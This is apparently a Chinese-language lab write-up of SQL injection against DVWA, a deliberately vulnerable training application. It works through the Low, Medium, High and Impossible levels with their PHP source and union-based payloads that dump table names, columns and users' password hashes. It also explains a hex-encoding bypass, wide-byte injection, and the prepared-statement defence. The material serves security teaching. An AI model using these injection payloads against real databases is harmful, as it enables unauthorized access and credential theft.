sql注入是危害比较大的一种漏洞,登录数据库可以进行文件上传,敏感信息获取等等。
?Low
先来看一下源码
<?php if( isset( $_REQUEST[ ‘Submit‘ ] ) ) { // Get input $id = $_REQUEST[ ‘id‘ ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ‘<pre>‘ . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>‘ ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
这是直接把我们输入参数$id直接带入到sql语句中去数据库里执行,没有做任何过滤,那么我们就可以直接注入了
直接遍历出了 first_name, last_name
猜测字段数(因为看得源码,查询的字段数肯定是2了)
‘ and 1=2 union select 1,2 #
爆库名
payload: ‘ and 1=2 union select database(), version() #
数据库名叫dvwa 数据库版本是5.5.53,在5版本以上就会有information_schema数据库可以用来查询了
爆表名
concat()
1、功能:将多个字符串连接成一个字符串。
2、语法:concat(str1, str2,...)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
concat(id,‘,‘ name, ‘,‘ mark)
group_concat()函数是把查询结果用一行来显示.
concat_ws()
1、功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符~(concat_ws就是concat with separator)
2、语法:concat_ws(separator, str1, str2, ...)
说明:第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null
例子:group_ws(‘,‘ , id ,name,mark)以逗号分隔开
payload: ‘ and 1=2 union select group_concat(table_name),NULL from information_schema.tables where table_schema=‘dvwa‘ #
爆字段
直接来爆users表的字段
payload: ‘ and 1=2 union select group_concat(column_name ,‘|‘) , NULL from information_schema.columns where table_name=‘users‘ #
爆数据
payload: ‘ and 1=2 union select group_concat(user,‘|‘),group_concat(password,‘|‘) from dvwa.users #
数据库中存储的密码是md5加密的。
?Meduim
看一下源码
<?php if( isset( $_POST[ ‘Submit‘ ] ) ) { // Get input $id = $_POST[ ‘id‘ ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( ‘<pre>‘ . mysqli_error($GLOBALS["___mysqli_ston"]) . ‘</pre>‘ ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ‘<pre>‘ . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>‘ ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
get提交变成了post提交,这样就没法在上面直接注入payload了,我们可以抓包来注入
mysqli_real_escape_string()对\ NULL ‘ " ,进行了转义
这里$id没有分号了,直接来遍历
爆字段
我们需要绕过escape的转义,这里可以使用16进制绕过0x7573657273也就是users
注意这里是没有加分号的,加了分号显示不出来,查询是空
1 and 1=2 union select group_concat(column_name ) , NULL from information_schema.columns where table_name=0x7573657273 #
我们用16进制来构造分号
payload:1 and 1=2 union select group_concat(user,0x27|0x27),group_concat(password,0x27|0x27) from dvwa.users #
?High
看一下源码
<?php if( isset( $_SESSION [ ‘id‘ ] ) ) { // Get input $id = $_SESSION[ ‘id‘ ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘ LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ‘<pre>Something went wrong.</pre>‘ ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
这里用了一个session页面来传递查询,second-order有些网站上也写作“二阶SQL注入”。有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。注入方法和初级比较相似.
payload:‘ and 1=2 union select group_concat(column_name ,‘|‘) , NULL from information_schema.columns where table_name=‘users‘ #
?Impossible
<?php if( isset( $_GET[ ‘Submit‘ ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ ); // Get input $id = $_GET[ ‘id‘ ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;‘ ); $data->bindParam( ‘:id‘, $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ ‘first_name‘ ]; $last = $row[ ‘last_name‘ ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
1.Check Anti-CSRF token
在impossible.php中有以下代码,是为了防止CSRF攻击
2.sql预编译语句
观察以下代码,这个就是预编译。
$data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;‘ );
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程。预编译语句能防止sql注入。
mysql4.1以后支持预编译。
3.在impossible.php中还限制了只允许返回一条数据。
if( $data->rowCount() == 1 )
这里就没法注入攻击了,
用sqlmap探测到没有办法注入:
使用php转义函数addslashes()、mysqli_escape_real_string()函数来对一些特殊字符,如\、 ‘’、 “”、 NULL等,这样的防护对于使用GBK编码的网站并不是绝对的安全,这里可以被宽字节注入给绕过转义,如被转义的urlencode(\‘) = %5c%27,但是如果我们在前面添加%27,%27%5c就会被认为是一个汉字,这样%27也就是’单引号就逃逸出来了,運’ 。安全性高的还是使用sql语句数据库执行和参数分开来,也就是数据库的参数查询,MySQLi、PDO参数查询,可以从根本上防护post型的sql注入攻击。